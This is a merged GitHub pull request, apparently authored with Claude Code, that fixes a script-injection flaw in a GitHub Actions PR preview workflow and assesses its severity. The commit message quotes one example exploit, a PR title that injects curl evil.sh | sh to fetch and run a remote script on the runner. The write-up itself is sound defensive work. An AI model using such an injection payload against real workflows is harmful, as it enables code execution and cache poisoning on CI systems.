Fix script injection in PR Playground preview workflow - #18
Merged
Conversation
The version-placeholder step interpolated ${{ github.event.pull_request.title }}
directly into a run: block. GitHub Actions substitutes ${{ }} expressions
textually before the shell parses the script, so a PR title such as
a"; curl evil.sh | sh; # executes as shell on the runner.
Pass the PR number through env: and stamp a fixed, sanitised version string
(0.0.0-pr<number>) instead of the free-text title. The PR number is numeric,
so it is safe both in the shell and as a sed replacement.
Also add a same-repo fork guard: the job pushes a pr-<n>-built branch, which
needs contents: write. A fork PR gets a read-only token, so without the guard
the push step hard-fails instead of being cleanly skipped.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0195K19h2qMkAjp6iWVghaTc
Playwright E2E Test Results (PHP 8.4, WP 6.9)Details
Flaky testschromium › persist-success.spec.js › HubSpot Form — persist success › should show full inline message including first-submission group on fresh success |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The vulnerability
.github/workflows/pr-playground-preview.ymlinterpolated an attacker-controlled GitHub Actions expression directly into arun:block:${{ ... }}expressions are substituted textually before the shell parses the script, so the PR title becomes shell source on the runner. The PR number is numeric and safe; the title is not.Exploit string
A PR opened (or edited — this workflow also triggers on
edited) with the title:closes the
sed"…"argument and runs the attacker's command. The#comments out the trailing/g" hubspot-form-block.php.Trigger, token scope, and real severity
pull_request(types:opened,synchronize,reopened,edited) — notpull_request_target.pull_request, a fork PR runs with a read-onlyGITHUB_TOKENand no access to repo secrets. That caps the blast radius — this is not a secret-exfiltration / write-token hole.actions/setup-nodewithcache: 'npm', so npm cache poisoning is a plausible escalation path into later runs (including onmain). Same-repo PRs run with a read-write token, but those authors already have write access.Assessed severity: moderate — runner code execution from an untrusted PR title, no direct secret/write-token exposure, with a cache-poisoning escalation worth noting. I have not executed the workflow to confirm exploitation; this is from reading the trigger and token model.
The fix
0.0.0-pr<number>— safer and a more useful version string for a preview build. (Mirrors the reference fix inhumanmade/query-filter.)env:so it reaches the shell as data, not source text, and is quoted (${PR_NUMBER}). Being numeric, it's also safe as asedreplacement (no&,/, or delimiter metacharacters).Fork guard
Added a same-repo guard to the job:
The job pushes a
pr-<n>-builtbranch (contents: write). A fork PR gets a read-only token, so without the guard the push step hard-fails rather than being cleanly skipped.Where the vulnerable file lives
The vulnerable line is present on
mainand every feature branch in this repo (block-refactor,ci-and-playground,e2e-tests,feat/persist-success-message,fix/block-level-portal-id-scripts, theclaude/*branches, and the generatedpr-*-builtbranches) — they all carry the identical copy. This PR fixes it onmain(the default branch); those branches will inherit the fix as they merge/rebasemain.No workflow in this repo uses
pull_request_targetorissue_commenton any branch (checked across all remote branches), so there is no higher-severity variant here.Verification
python3 -c "import yaml; yaml.safe_load(open(f))"on the touched workflow → parses cleanly.${{in the file. Remaining hits are all safe sources, for reviewer triage:github.event.pull_request.number(env L36, and lines building thepr-<n>-builtbranch name / commit message) — numeric, safe.github.sha(commit message) — SHA, safe.github.repository(proxy URL) — safe.steps.blueprint.outputs.blueprint(inwith:) — internally generated JSON, no untrusted data flows into it.secrets.GITHUB_TOKEN(inwith:) — secret reference, safe.Out of scope / follow-ups (not fixed here)
release.ymlinterpolates a free-text value intorun:/sed(currently${{ steps.version.outputs.version }}from the release tag onmain; a separate in-flight PR changes this to aworkflow_dispatch${{ inputs.version }}). Both require write access to trigger (creating a release/tag or dispatching a workflow), so this is not the same attacker-controlled class — low severity — but it would be cleaner to pass the version viaenv:too. Flagging as a follow-up per scope; not touched in this PR.🤖 Generated with Claude Code
https://claude.ai/code/session_0195K19h2qMkAjp6iWVghaTc
Generated by Claude Code